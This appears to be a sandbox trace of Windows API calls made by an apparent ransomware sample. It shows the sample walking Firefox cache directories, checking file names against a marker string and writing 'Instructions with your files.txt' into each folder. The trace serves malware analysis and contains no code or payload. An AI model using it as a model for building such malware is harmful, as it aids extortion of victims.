[0130.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01") returned 109
[0130.767] StrStrIW (lpFirst="7E0FEd01", lpSrch="SDfghjkl") returned 0x0
[0130.767] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0x0, dwReserved1=0x0, cFileName="7E0FEd01", cAlternateFileName="")) returned 0
[0130.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\Instructions with your files.txt") returned 133
[0130.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.767] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.769] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.769] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.769] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.769] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.769] CloseHandle (hObject=0x12c) returned 1
[0130.769] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.769] GetProcessHeap () returned 0x810000
[0130.769] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.769] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 1
[0130.769] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0") returned 100
[0130.769] GetProcessHeap () returned 0x810000
[0130.769] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.769] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*") returned 102
[0130.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.770] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\.") returned 102
[0130.770] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.770] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\..") returned 103
[0130.770] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x823c2350, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECB2Dd01", cAlternateFileName="")) returned 1
[0130.770] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01") returned 109
[0130.771] StrStrIW (lpFirst="ECB2Dd01", lpSrch="SDfghjkl") returned 0x0
[0130.771] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x823c2350, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECB2Dd01", cAlternateFileName="")) returned 0
[0130.771] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\Instructions with your files.txt") returned 133
[0130.771] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.771] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.772] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.772] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.772] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.772] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.772] CloseHandle (hObject=0x12c) returned 1
[0130.773] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.773] GetProcessHeap () returned 0x810000
[0130.773] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.773] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 0
[0130.773] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\Instructions with your files.txt") returned 130
[0130.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.773] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.774] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.774] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.774] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.774] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.774] CloseHandle (hObject=0x128) returned 1
[0130.774] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.774] GetProcessHeap () returned 0x810000
[0130.774] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.775] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x851226b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_001_", cAlternateFileName="_CACHE~2")) returned 1
[0130.776] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_") returned 107
[0130.776] StrStrIW (lpFirst="_CACHE_001_", lpSrch="SDfghjkl") returned 0x0
[0130.776] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x851e0d90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_002_", cAlternateFileName="_CACHE~3")) returned 1
[0130.776] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_") returned 107
[0130.776] StrStrIW (lpFirst="_CACHE_002_", lpSrch="SDfghjkl") returned 0x0
[0130.776] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x8529f470, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_003_", cAlternateFileName="_CACHE~4")) returned 1
[0130.776] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_") returned 107
[0130.776] StrStrIW (lpFirst="_CACHE_003_", lpSrch="SDfghjkl") returned 0x0
[0130.776] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x8535db50, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2114, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_MAP_", cAlternateFileName="_CACHE~1")) returned 1
[0130.776] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_") returned 107
[0130.776] StrStrIW (lpFirst="_CACHE_MAP_", lpSrch="SDfghjkl") returned 0x0
[0130.776] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x8535db50, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2114, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_MAP_", cAlternateFileName="_CACHE~1")) returned 0
[0130.776] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\Instructions with your files.txt") returned 128
[0130.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.776] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.777] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.777] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.777] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.777] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.777] CloseHandle (hObject=0x124) returned 1
[0130.777] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.778] GetProcessHeap () returned 0x810000
[0130.778] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.778] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1
[0130.778] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache") returned 102
[0130.778] GetProcessHeap () returned 0x810000
[0130.778] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.778] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*") returned 104
[0130.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.779] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\.") returned 104
[0130.779] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.779] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\..") returned 105
[0130.779] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1
[0130.779] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite") returned 115
[0130.779] StrStrIW (lpFirst="index.sqlite", lpSrch="SDfghjkl") returned 0x0
[0130.779] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbece4d60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbece4d60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc399b820, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 0
[0130.779] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\Instructions with your files.txt") returned 135
[0130.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.780] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.780] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.781] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.781] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.781] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.781] CloseHandle (hObject=0x124) returned 1
